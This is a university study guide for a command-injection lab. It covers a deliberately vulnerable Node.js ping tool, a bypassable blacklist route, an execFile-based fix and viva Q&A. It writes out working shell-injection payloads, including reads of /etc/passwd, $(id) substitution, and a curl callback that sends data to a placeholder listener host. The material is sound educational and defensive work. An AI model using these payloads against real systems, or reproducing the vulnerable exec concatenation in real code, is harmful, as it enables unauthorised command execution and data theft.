OS Command Injection — Study Guide

IT-30001 Cyber Security · Autumn 2026 · Web Server Security Assignment

Category: **OS Command Injection** | Variant: **In-band (command output returned)**

This guide covers everything you need to demonstrate and defend your variant at the viva: how the flaw works, the exploit, the mitigation, edge cases, the Table 2 answers, and a must-know question bank. Read it top to bottom once, then re-read the Q&A and the 'one sentence' before the viva.

1. What is OS Command Injection?

A web app takes user input and uses it to build an operating-system command. If the input is concatenated into a command *string* that is handed to a shell, the shell treats certain characters as **operators**, not data. The attacker smuggles in those characters and the shell runs commands the developer never intended.

The shell metacharacters that matter:

Character	Meaning to the shell	Example
`;`	end one command, start another	`ping x; cat /etc/passwd`
`|`	pipe output into the next command	`ping x | whoami`
`&& / ||`	run next if previous succeeded / failed	`ping x && id`
`$(...) / `...``	command substitution (run, insert output)	`ping $(whoami)`
`newline`	acts as a command separator too	`ping x\ncat /etc/passwd`

2. The application we built

A 'Network Diagnostic Tool' — a web form where the user types a host and the server runs `ping` on it and returns the output. Realistic, and a classic place this bug appears.

- **server.js** — the whole app, three POST routes: `/api/vuln` (the flaw), `/api/fixed-weak` (bad blacklist, bypassable), `/api/fixed` (real fix).
- **Two pages** — a Vulnerable page and a Fixed page (with a dropdown). One server, one port — no restart to switch.
- Stack: Node.js + Express. One dependency. `npm install` then `node server.js`.

3. The vulnerability — the exact code path

In **server.js**, the `/api/vuln` route:

```
const host = req.body.host || "";
const cmd = "ping -c 1 " + host;   // <-- user input concatenated in
exec(cmd, ...);                    // <-- exec() runs it via /bin/sh -c
```

Why this is the flaw: `exec()` does not run a program directly. It starts a shell and hands it the whole string: `/bin/sh -c "ping -c 1 <host>"`. The shell — not your code — decides where one command ends and the next begins. So if `host` contains `;` the shell happily runs a second command.

Execution chain (memorise this):

```
exec(cmd)  ->  /bin/sh -c "<cmd>"  ->  fork()/execve()
                    ^
          the shell TOKENIZES the string here:
          ;  |  &  $()  ``  become OPERATORS, not text
```

4. The working exploit

Run `node server.js`, open the Vulnerable page, type these in the Host field. All verified on this machine.

#	Payload (Host field)	What it proves	Type
1	`127.0.0.1; cat /etc/passwd`	File contents returned in the HTTP response	In-band
2	`127.0.0.1 | whoami`	Pipe also chains commands -> your username	In-band
3	`127.0.0.1; sleep 5`	Response hangs ~5s even with no output	Blind (time)
4	`127.0.0.1; curl http://<YOUR_IP>:8000/$(whoami)`	Data sent to a listener you control	Blind (OOB)

In-band vs blind — know the difference, it is your variant's name. **In-band** (your variant): the command output comes back in the response, so you read it directly (payloads 1–2). **Blind**: nothing useful comes back, so you infer success another way — by **timing** (`sleep 5` makes the response slow) or an **out-of-band** callback (the server's `curl` hits your listener). Payloads 3–4 are strong bonus material showing you understand the blind case too.

For payload 4, first run `python3 -m http.server 8000` in another terminal, then watch the request arrive with your username in the path.

5. Root cause (one line)

Untrusted user input is concatenated into a shell command string. Because a shell parses the result, metacharacters (`; | & $() ``) are interpreted as **operators**, not literal data — so attacker input becomes new commands.

6. The mitigation we implemented

In **server.js**, route `/api/fixed`, two layers of defence:

Layer 1 — Allow-list validation (reject bad input before the OS):

```
// must be letters/digits/dot/hyphen, AND start with a letter/digit
const HOST_RE = /^[a-zA-Z0-9][a-zA-Z0-9.-]*$/;
if (!HOST_RE.test(host) || host.length > 255)
    return res.send("[rejected] invalid host");
```

Layer 2 — Avoid the shell; use execFile with an argv array:

```
execFile("ping", ["-c", "1", host], ...);
// -> execve("ping", ["ping","-c","1",host])  — NO /bin/sh in the chain
```

Why Layer 2 is the real fix: `execFile` calls the OS directly with the program and its arguments kept *separate*. There is no shell, so there is no tokenization step. `host` is passed as **one literal argument**; `; | $()` are inert bytes even if they got through. Layer 1 is defence-in-depth on top.

The exact payload that leaked `/etc/passwd` on the Vulnerable page now returns `[rejected] invalid host` on `/api/fixed`. That screenshot is deliverable (d).

Why a blacklist is NOT a fix (the /api/fixed-weak demo)

`/api/fixed-weak` blocks the `;` character but still uses the shell. Show live that it is trivially bypassed — none of these contain a semicolon:

Payload on /api/fixed-weak	Result
`127.0.0.1; cat /etc/passwd`	[blocked] — ';' filtered
`127.0.0.1 $(id)`	BYPASSED — id runs (output in ping's error)
`127.0.0.1 | id`	BYPASSED — pipe needs no ';'

The lesson: you cannot enumerate every dangerous character/encoding. The fix must be *structural* (remove the shell), not a character filter.

7. Edge cases (tested)

Input	Vulnerable page	Fixed /api/fixed
`newline %0a cat /etc/passwd`	runs (newline separates commands)	[rejected]
`$(whoami) / `whoami``	command substitution runs	[rejected]
`127.0.0.1 && id`	AND-chains the command	[rejected]
`empty host`	ping usage error	[rejected]
`-f or --help (argument injection)`	ping treats it as a flag	[rejected] (leading-dash rule)
`127.0.0.1 , google.com (legit)`	works	works

Argument injection — the subtle one. `execFile` stops a new *command* from running, but an input like `-f` would still be passed to `ping` as an *option* (flood ping). The allow-list is anchored to start with a letter/digit to block this. Theory alternative: pass `--` before the host so everything after is treated as operands, where the tool supports it.

8. Table 2 — the graded answers

(a) Vulnerable implementation. server.js, route /api/vuln. The line `exec("ping -c 1 " + host)` concatenates user input into a command string and runs it through `/bin/sh -c`.

(b) Working exploit. Host = `127.0.0.1; cat /etc/passwd` -> the server runs two commands and the file comes back in the response. Also: `| whoami`, `; sleep 5`, out-of-band `curl`.

(c) Root cause. Untrusted input concatenated into a shell command; shell metacharacters parsed as operators, not data.

(d) Mitigation implemented. allow-list regex + `execFile` with an argv array. Same payload now returns `[rejected] invalid host` (screenshot).

(e) Other mitigations (theory).

- **Avoid the shell / argv vector** (what we did) — use execFile/spawn/posix_spawn; no shell, no metacharacter parsing. Strongest: removes the mechanism.
- **Allow-list validation** — accept only known-good patterns; dangerous chars never enter. Best as defence-in-depth. A *blacklist* is not enough (too many chars/encodings).

• **Least privilege** — run the app as a low-priv, confined user (container/seccomp). Doesn't stop injection but caps the damage.

9. The one sentence that gets full marks

> The vulnerable path goes **exec -> /bin/sh -c -> execve**, so the shell tokenizes my input and interprets `; | & $() ` ` as operators. The fixed path calls **execFile**, which goes straight to `execve("ping", ["ping","-c","1",host])` with no shell in the chain — so there is no tokenization step and those characters are inert bytes inside one argv element.

10. Must-know questions & answers (viva prep)

Q. Why does execFile stop the attack but exec doesn't?

exec runs the command through /bin/sh -c, so a shell tokenizes the string and interprets metacharacters. execFile invokes the program directly via execve with an argv array — no shell is started, so there is nothing to tokenize and the input is one literal argument.

Q. Isn't the regex / allow-list the real fix?

It's defence-in-depth. The structural fix is removing the shell (execFile). An allow-list helps but a too-broad pattern could still let something odd through; removing the shell removes the vulnerable mechanism entirely. Show /api/fixed-weak being bypassed to prove a filter alone fails.

Q. What is the difference between in-band and blind command injection?

In-band: the command's output is returned in the HTTP response, so you read results directly (e.g. cat /etc/passwd). Blind: no output comes back, so you infer execution by timing (sleep 5 delays the response) or an out-of-band callback (the server curls your listener). My variant is in-band.

Q. Can your fixed route (/api/fixed) still be bypassed?

Not for command injection — no shell runs and no shell metacharacters are allowed in. I also anchored the allow-list so a leading '-' can't turn into a ping flag (argument injection). Residual risk is only an over-broad hostname, which can't execute anything.

Q. What is argument injection and how is it different from command injection?

Command injection runs a NEW command (needs a shell). Argument injection stays within the one program but injects extra OPTIONS to it — e.g. passing -f to ping. execFile prevents the first but not the second, which is why the allow-list must forbid a leading dash.

Q. Why did the $(id) bypass still show output inside a ping error?

The shell performs command substitution BEFORE ping runs: it executes id and pastes id's output in as ping's argument. ping then fails to resolve that 'hostname' and echoes it back in 'Name or service not known' — which proves the injected command actually executed.

Q. What exactly does exec() do under the hood?

Node's child_process.exec spawns /bin/sh -c "<your string>" and buffers its stdout/stderr. Because it goes through a shell, the whole string is subject to shell parsing.

Q. Name three mitigations for command injection and say why each works.

1) Avoid the shell / use an argv vector (execFile) — no shell means no metacharacter parsing. 2) Allow-list input validation — only known-good characters enter the system. 3) Least privilege — run confined as a low-priv user so a successful injection can do little.

Q. Why is a blacklist (banning ';') a bad fix?

You cannot enumerate every dangerous character or encoding. Other separators (| && newline) and substitution ($() ``) need no semicolon, so the filter is bypassed while the shell is still in play. Shown live on /api/fixed-weak.

Q. What's the impact of this bug in the real world?

Arbitrary command execution as the web server's user: read/modify files, steal secrets/keys, pivot into the internal network, install a backdoor, or exfiltrate data. One of the most severe web bugs (maps to OWASP A03:2021 Injection).

Q. How would you detect this vulnerability?

Code review for shell-invoking calls (exec, system, os.system, backticks) with user input in the string; dynamic testing with metacharacter payloads; a time-based probe (sleep) to catch the blind case; and SAST tools that flag tainted input reaching a command sink.

Q. Does the fix change legitimate behaviour?

No. Real hostnames and IPv4 addresses (127.0.0.1, google.com) pass the allow-list and ping runs normally. Only malicious input is rejected.

Q. What is the '--' option-terminator trick?

Many CLI tools treat '--' as 'end of options': everything after it is a positional argument, never a flag. Passing it (e.g. ping -c 1 -- <host>) is another way to prevent argument injection where the tool supports it.

Q. Why return a generic '[rejected] invalid host' instead of a detailed error?

Safe error handling: don't leak which check failed, the command, or system paths. Verbose errors help an attacker tune payloads and can themselves disclose information.

Demo runbook: `npm install` -> `node server.js` -> Vulnerable page (show payloads 1–3) -> Fixed page: `/api/fixed-weak` bypass, then `/api/fixed` rejects the same payload. Capture screenshots of the leak and the rejection for deliverable (d).